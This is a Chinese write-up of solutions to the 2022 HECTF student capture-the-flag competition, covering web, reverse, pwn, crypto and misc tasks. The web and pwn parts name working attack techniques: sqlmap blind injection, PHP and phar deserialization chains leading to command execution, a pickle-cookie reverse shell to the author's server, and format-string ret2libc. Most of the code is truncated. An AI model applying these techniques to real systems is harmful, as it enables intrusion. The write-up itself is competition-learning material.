2022HECTF是由河北师范大学SourceCode战队组织的面向全国大学生的CTF竞技活动,河北师范大学计算机与网络空间安全学院主办,河北省网络与信息安全重点实验室和河北师范大学信息安全协会承办,是面向全国大学生的一次竞技活动。
Rank: 1
Web
迷路的小狮
签到题
HINTS:
官网地址需填写完整(建议复制),无路径即结尾为.cn
进入是迷惑性的404页面,且右键和F12禁用,地址栏手动添加 view-source:
看到源码提示 hectfer
。
访问 /hectfer
提示 hebnu is a good site.
,访问 /hebnu
提示 Can you use another way of requesting?
上burpsuite,按提示按步骤修改request header的几处为:
1 | POST /hebnu HTTP/1.1 |
在responce header里看到PHPFuck代码,控制台运行直接得到flag:HECTF{sfe2fsa_f39sjfa_hj93sf_ef0skf3fs}
。
擎天注
找到GET参数id,用sqlmap可以直接通过时间盲注跑出flag。
命令:
1 | # 爆数据库名 |
easy_unserialize
一道神奇的反序列化题
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
error_reporting(0);
class A{
public $file;
public function __construct(){
echo "Welcome to HECTF Have fun!!!😊<br>";
}
public function __wakeup(){
if(isset($this->file->var)){
$this->file = "flag.php";
}
else{
$this->file = "index.php";
}
}
public function __destruct(){
highlight_file($this->file);
}
}
class B{
public $str;
public $huang;
public function __isset($arg)
{
echo "难道我真的要失败了,吗".$this->str;
}
public function __call($fun1,$arg)
{
return $this->huang->str;
}
}
class C{
public $eee;
public $aaa="who are you?";
public $ccc;
public function __toString()
{
$this->eee->flag();
}
public function __get($css)
{
$function = $this->ccc;
return $function();
}
}
class D{
private $ddd;
private $ext;
public function flag(){
$this->ext->nisa($this->ddd);
}
public function __invoke()
{
echo new $this->ddd($this->ext);
}
}
$gagaga = new A();
unserialize(serialize($gagaga));
$data = $_POST['data'];
unserialize($data);
构造反序列化链:
A:__wakeup() => B:__isset() => C:__toString() => D:flag() => B:__call() => C:__get() => D:__invoke() => echo new()
利用内置类 DirectoryIterator
+ glob://
伪协议列目录:
1 | from phpserialize import serialize |
再利用内置类 SplFileObject
+ php://filter
伪协议读文件内容:
1 | from phpserialize import serialize |
cute_pipi
观察页面,有图片上传点,url发现存在文件包含,利用伪协议读源码:
index.php
1 |
|
home.php
1 |
|
upload.php
1 |
|
common.php
1 |
|
class.php
1 |
|
审计源码,图片上传点+file_exists()
函数+自定义HeCTF
类,判断为文件上传+phar反序列化利用。
HeCTF
类中RCE使用 tee
命令绕过过滤写文件。
构造phar文件:
1 |
|
将生成的phar文件改为png后缀上传,在index.php以POST方式传入file值,利用phar伪协议反序列化RCE:
POST: file=phar://uploads/25c3a34d93227241d5dacc8eb84a80ef2aabeab1.png
读到flag文件名 /ffflllllaaaaggg
,同样操作构造读flag内容的phar文件:
1 |
|
皮扣的商店
进入页面发现可以点击按钮,但是没钱可用,点击时发现cookie是变化的。
cookie像base64,解码,结合题目可知为json的pickle序列化结果,反推一下:
1 | import pickle |
可见使用了hmac哈希,无法爆破,但可以构造RCE代码序列化后放入cookie,点击按钮执行恶意代码,由于页面无结果回显,构造反弹shell代码:
1 | import base64 |
替换cookie后,点击按钮即可在vps getshell拿flag。
Reverse
贝斯
变表base32,Cyberchef一把梭得到flag。
apk
如何分析Apk呢
用jadx打开apk,在AndroidManifest.xml里发现:
<meta-data android:name="父拉哥" android:value="付拉哥头{Apktool_or_jadx}"/>
flag:HECTF{Apktool_or_jadx}
HelloIos
简单的ios
找到关键加密函数,简单异或还原flag。
ezre
easy reverse
加密逻辑很难看,利用IDA的findcrypt插件可以识别出存在SM4加密算法的关键参数数组。
利用动调找到SM4加密使用的128位key值,导出hex:AD763B4FCDCFD9251089FB0408A45F80
,以及128bit密文,导出hex:D75CDA22176DD392A1A570915F66A61C
。
找一个SM4算法的python脚本解密得到flag:
1 | class SM4Cipher: |
author’sB0x
still ez
识别代码逻辑为RC4算法,key为 thiskey
,提取密文hex为 C3F5E5E2EC17E52ACA03B6FDC1BC704410CDA6130B9A73060E4DDE95129CD946
,
Cyberchef解出flag:HECTF{Th3CutW0rmF0rgiv3sTh3Pl0w}
run
分析代码逻辑,为8层8*8迷宫,其中0为可走方块,1为不可走方块,wsad为上下左右,u为下一层,n为上一层。
将8层01迷宫矩阵打印出来,从第一层 (0,0) 手动模拟走迷宫,得到路径 ssddssuuwwddndduuussdussasauudd
,加上HECTF{}即为flag。
还原md5
MD5(flag) = 55a573c5ff5ae053ee7f165c6e972613 哈哈哈,逆去吧
HINTS:
注意,re题目md5的flag提交时不需要再套HECTF{}
txt内容像是调用libsfdata.so计算md5过程汇编操作记录,既然是全过程,肯定有读入原始数据,以16进制存入寄存器或内存的痕迹,HECT的hex值”48454354“,注意是小端序,全局搜索 54434548
,找到 r6=0x54434548
疑似读入寄存器操作,继续全局搜索 => r6=0x
,有
1 | Line 44619: [23:49:43 081][libsfdata.so 0x0b2eb] [8e58 ] 0x4000b2ea: "ldr r6, [r1, r2]" r1=0xbffff3c9 r2=0x0 => r6=0x54434548 |
提取出r6的值hex转字符即为flag:HECTF_MD2+31666972178394Y0uCando1t?td9#Kn_p7vUw
Pwn
签到
先利用 \x00
截断绕过 strcmp
比较,进入 system('vim -R')
的vim交互模式,再使用vim命令 :e 文件名
读取flag内容。
1 | from pwn import * |
值得注意的是,由于进入vim命令会清空终端内容,在pwntools交互下读取的内容会被瞬间刷掉,可以将输出重定向到文件,获取到flag内容输出:
python test.py > output.txt
真·签到
听说你还没签上到
int类型强制转换为char,当值为128~255时变成负数,模拟伪代码,在最大值2147483647附近尝试寻找所需数字:
1 |
|
2147483522满足条件,传入后getshell拿到flag。
fmt
程序开了PIE,gdb动调,利用格式化字符串漏洞泄露当前函数地址,再减去偏移得到程序基址,剩下的部分简单ret2libc即可。
1 | from pwn import * |
Crypto
流动的音符
txt内为音符加密,使用在线解密工具解密得到flag。
matrix
出题失误,源码泄露拿到flag。
ezrsa
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21 from Crypto.Util.number import *
from secret import flag
flag = b'xxx'
e = 114
m = bytes_to_long(flag)
p = getPrime(1024)
q = getPrime(1024)
t = getPrime(1024)
n = p * q * t
p_=pow(p,2,n)
q_=pow(q,2,n)
c = pow(m,e,n)
print('p_=',p_)
print('q_=',q_)
print('c=',c)
print('n=',n)
#p_= 10660749010264526666955869622200514149424664070021154725214604278423033834800955315638637946982741577976025615843487738805576629855459529381681679497064453109727962183277768658053394103348827822686515016677449953958986089293779870089604784750116267441026319440135025236091029928565442799040007751858012409498271852333017388486644053877238274838173771344350870565886676055860728949042361028753924290647753862707042472944714140635484722345522648010064713004854479094986010632316750770118044301903260988074471243247031854872785324506292730778884664223412372663828159205320038546293395502275887356885181013870536857351801
#q_= 24900409366873586425973971191854411152048453357438215578406168704445779543895031579176888535442469919297663892450230816720758414920791049333275007446412352293152157437672026001378469357187698312455020558413101033543700131403373834030395855212901673914686297701313223697181049265286011127188695284002470629178098454764536315245968458622929902214839704674718996340182311301099900271312644919770585429288043854743210617868761990329037081770477261306489047429460937057125193231432195877922731165870197358946683698077175950756482605399815830687563398277515452842563143685190688865084064679712177247354049377034394880941369
#c= 946358882688806235743551077996671406469185038565566907261383734984318844703303437873183869084536703835433988817350857866089668970925835657856975155167500190428922521871327955274363186305180350899397478897928581580727458938934640786146518171503388507311655160765881370401217708135845031083189007308497775864484758699096082815479602777639307812516934937183952478316508418895341680335172973583094238147073379957772209947376051520041093030641369536800448737539973770258342422560893630082723217759837690008955748444973711508371077927468399703456466637348191192859278206925769696645636969358967735037470196395844215361527039288120664704552775460536654859848091685928057224735031528303041212702445718384890182474053295656578327780048497422707815820736647212902522526653039676698263673166412650104420869762547385554961873764933774143297622712766521201037469301912471740996998228799841957283759679784569638149555093498363791420486340
#n= 1677924010415009671349677258549532467848510897335579570922114838282842960143799964694977371357046837674443739542407516581076865550606801686170400793463690366665534118961173768008603133641864003317727610676872685077700753537755254540591236871020140458419596610210236431401477173114522177145982007059709616618279936170223104755776796458682957656555154039384483954754660803554302451221585280396378564648495919069459351016010016636012245082009946238467068412198769348889950331295680906811430325690102055808865038151762131291269197341984605959088829226733422023970618165958725486675321766767430347929319621215891165857544847088373700410007500868721335483070938971597851859953792409442485301373327127595552457801719192824050415833073999094005750868115932130442747899994421453654008731830580286370350900523295205445599466666709544075950517531382971246869745425091317996973135364990272852701046046315136273893166361180330563013617843
因 $p^2<n,q^2<n$,可直接开放求得 $p,q$ 及 $r$。
又 $\gcd(e,\varphi)=6$,利用 $\gcd(\cfrac{e}{6},\varphi)=1$ 先常规RSA计算出 $m^6$ 再开方即可。
1 | p_ = |
rsa2
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33 from Crypto.Util.number import *
import sympy
import random
import math
from secret import flag, hint, e1
def mygenerate():
while True:
p = getPrime(512)
if p % 8 == 5:
break
g = p-random.randint(1 << 13, 1 << 15)
q = sympy.nextprime(math.gamma(g+1) % p)
return p, g, q
p, g, q = mygenerate()
n = p*q
e2 = 65537
m1 = bytes_to_long(flag)
m2 = bytes_to_long(hint)
c1 = pow(m1, e1, p)
c2 = pow(m2, e2, n)
print('p ='+str(p))
print('g ='+str(g))
print('c1 ='+str(c1))
print('c2 ='+str(c2))
'''
p =8245512408967243371517759893329519667642119269153889262506106732818518415823601207067006537187243355250850586456796829524581895578331334132038513672846909
g =8245512408967243371517759893329519667642119269153889262506106732818518415823601207067006537187243355250850586456796829524581895578331334132038513672815766
c1 =6235217214618484469008717065109058585860810027126999050539741461978786126300064219884646722757808536523766850480291000964963856026236813451563022630637528
c2 =11968687437667021636457941077557698735979559596315355015261643918655719362366246657937192921814834456270616376603153881488026042955084056042773344426448580968726245676672896245296438903588066436834165402064132845092674100931069500643230951702318353312541552786636249326131049369846465301549915712690800690627
'''
素因子的生成函数中,
$q=\text{nextprime}(\Gamma(g+1) \bmod p)=\text{nextprime}(g! \bmod p)=\text{nextprime}((p-r)! \bmod p)$
结合威尔逊定理 $(p-2)! \equiv 1 \pmod p$,有
$q = \text{nextprime}(\prod\limits_{k=2}^{r-1}(p-k)^{-1} \bmod p)$
求出 $p,q$ ,RSA解密得hint:$e_1=2$,再解密得 $m$。
1 | import sympy |
onebit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33 import random
from Crypto.Util.number import *
from secret import flag
def Le(n, p):
return pow(n, (p - 1) // 2, p)
def Encrypt(message, n, g):
ciphertext = []
for i, m in enumerate(message):
k = random.randint(1, 2**512)
c = ((g**int(m)) * (k ** 2)) % n
ciphertext.append(c)
return ciphertext
p = getPrime(512)
q = getPrime(512)
while True:
g = getPrime(512)
if Le(g, p) == p-1 and Le(g, q) == q-1:
break
m = bytes_to_long(flag)
m = str(bin(m))[2:]
n = p*q
c = Encrypt(m, n, g)
f = open('output.txt', 'w')
f.write(str(p)+'\n')
f.write(str(g)+'\n')
f.write(str(c))
f.close()
加密结果 $c=g^mk^2$,符合GM同态加密系统,分别判断 $c_i$ 是否为基于模 $p$ 的二次剩余即可:
1 | from Crypto.Util.number import long_to_bytes |
mixture
1
2
3
4
5
6
7
8
9
10
11
12
13 p=235322474717419
a=0
b=8856682
k=
E = EllipticCurve(GF(p), [a, b])
P = E.random_point()
P.order()==p
Q=k*P
aes_key=k
print("P:",P)
print("Q:",Q)
#P=E(180571547161769,227820272156445)
#Q=E(76765539897460,69715189045993)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23 from Crypto.Cipher import AES
import base64
aes_key = b'???'
def pad(text):
while len(text) % 16 != 0:
text += b' '
return text
def pad_key(key):
while len(key) % 16 != 0:
key += b' '
return key
aes = AES.new(pad_key(aes_key), AES.MODE_ECB)
plain_text = b'???'
enc_text = aes.encrypt(pad(plain_text))
enc_text_b64=base64.b64encode(enc_text)
print(enc_text_b64)
#bXaw/g8fD7taMjlL/OyqUJluD6dZI5GkZb9RrE5GQk8=
ECC+AES。
ECC满足 $P.\text{order}()=p$,利用Smart’s Attack解 $k$:
1 | p = 235322474717419 |
再代入还原AES解密即可:
1 | from Crypto.Cipher import AES |
xyz
由于素数 $x \in (2^{11},2^{12})$,爆破 $x$ ,再解关于 $y,z$ 的二元一次模方程组,根据式2将 $z$ 代入式1,得到关于 $y$ 的模方程,爆破求解 $m_1,m_2$,直到得到满足flag格式的值即解。
1 | # Sage |
Misc
咦~小鲨鱼来喽
wireshark打开流量文件,逐个流查看,一眼找到flag。
来玩捉迷藏呀
你能寻找到真正的我吗?
png图片有lsb隐写,zsteg提取出内容: zsteg -E "b1,rgb,lsb,xy" 1010.png > out1.txt
,
得到16进制字符串转string,再xor 0x33发现zip压缩包头,提取出zip压缩包,解压得到flag.doc,将文字全选设置颜色,发现flag:HECTF{hah0ha_Find-Me!!!}
。
你把我flag藏哪去了?
flag.docx中打开隐藏文字,得到的base64解码得第一段字符串:
kgkhlfloanaiufpghhalwujklkmownplkmwlygalpmfkgyggihuldlgaoyuloiggrplkvkgmrkaqzxemmiwklhugekleolpaaolffmaghmfgfmgvgjnblpmlajapufjlgplaojpjbffbjbwhuglggyjngmlbfygljbgxkixlmmqiksmpaqyojerafekadxdxxbarxlgngymsimhvuwkaexsglrapggkabmfulgvnmajufoekymalimxdijjpxyiagbpmkuallnlkpoeagfldlposkizvyxraazxrgxanoihqlxfogfgglpgjylkeakbylfvjomllkgjgymgfdlrpeqfklfslmejilpjiklpaapglxyevfkylfappbkdzflffllikqnialkbhjorndhsfomfaypghpqoxryimhfllfhlmkoreamroakgrljahmfailijanykfuaihfbzafaufmsffngfalmrbfflfaffwlnjmfgaaffauazjfijxiabfirmovpzekirbasfjsgzlukolyvohmvaalpkahsxfzammbfnmldzyaauifldvkmzbgfybaoffrflfoaadgmllnbgfpnrgxllyphyfnlexbvdnlokgoyilprflonshalkjaxngbjhlmbpdlamhkjfnlgmaagfjnjgkfrizlfflpmmglapxgmuninaaupkpfdigpsasmvkdjvgiyofdumpngpaljkjblfhahskiokpfgaayhnnfdsxkffqjaazvvdosefppfofigyamfnfngvlaoapdyixvbfdosobmlubaiugjxhfyfkvrakazgluyilpvgfwgynqggplbkwiiaxarlaflaalfkxfjlpegmmajngujlofuiffmvikfimraogqalalfmgubagfggoaakgrfqfhaemosraafyfopukudaalfggimhdfognhkrleflpalgalfapyjalgvoklgfllgaflaafafmazygpehfkzhlazngfmofliazlvnxanalugjlafovljfjubzgapehhfkfnfnggpalylivfegaaidrmyjagfalgmagflrklugadpffuaaky
otherflag.txt中含有零宽字符,利用在线网站提取出第二段字符串:
flpfypbgfeapwpsnlwklawllgryafjslgnbwapdfpzbpauanalfopwfpiabloaallziffklfggufrajpifgjfpakfmxpbsulvjsgmflgalagfnarslkbakuyfggagkfglnalduvqeayjgajmngeglnggxlngfmjmigkkiumlnfdwlkmaugngnvrrbfzxzyauauehofnemfmfffabbgvldlyhoaqjomfplapvhaaakogfirfvamkffygakampauuooolgpnnuelhffhvvisukwynmiglnllumhajekuguuplrxkiaeffllfkayrffggfffgyvpufvpbgagfaekipailovaffanuxsjgvjdqkvfuikflafmdkbbnkpgfxrqpfglavgslujjlffulhugzliumaadngwihmmojfbhxvomafpbfhaviwlguefogppmjsplglfhlgrklbisphajpgnhlispnaskklljggklzaffhnelnfyrymgaghfifojmjjsekoomffffuaawbdgaqrmgzprvgwzjxefhjadkikurllllljoghmlwfflfmlovfplnaqpeozloadkeiolfklivuylzbjooxlsglngduvxanahjgepgu}klghplmvzilkpggpholgiogjavpagjhdonunlpgolndqbqfdmbpjjoxbomlikyuipnxqxzlifforghheuyyazhjuagfwaulrjlfxoiggyjfbfpjigkgyafplfpqwadiqniavvgufjdjlifjiorymvfxmxgorilyldfhofbbygflgairjdidgdqvikjoliyfdzhfrognyyibkgnnvhmjlolfgvwfijlggfkpakpgflfydvfwydofkhgiygwllwljogrqvzjlffgllallblpkfbsflhrajdgowprdblubflyoybhvhwfwoeiagnxbzniffpllxmfknuihfobfeefkkgkynnglkkldugmgsvnphlafgsrnroehvffwapnfjfpglrkpafhlsjgriplrfldglznhonfdlohosfhohegknaiamjflnboplllxluigoxlkrbglrgebaggriaefmzlqidofgafqgbgdilnmhoaionobfynlgozadgvvimxoboaikkfxwirorpflluzhophfdliekljyomejklgffjnunh{opgdafgamla
看字符串无规律,猜测为字符频率统计,找一个在线工具统计字符出现次数,按结果从大到小排序取出对应字符为 flagkpomijnhuybrvdxezswq{}
,调整括号位置即为flag:flag{kpomijnhuybrvdxezswq}
。
我的手要不行辣
图片内文字用在线OCR识别转文字,hex转字符,根据文件头转存为zip压缩包,使用ARCHPR爆破出密码8686,解压得到txt内为音符加密,使用在线解密工具解密得到flag:flag{y0u_fi0d_m2_f1ag}
。
2022HECTF调查问卷
写问卷得flag。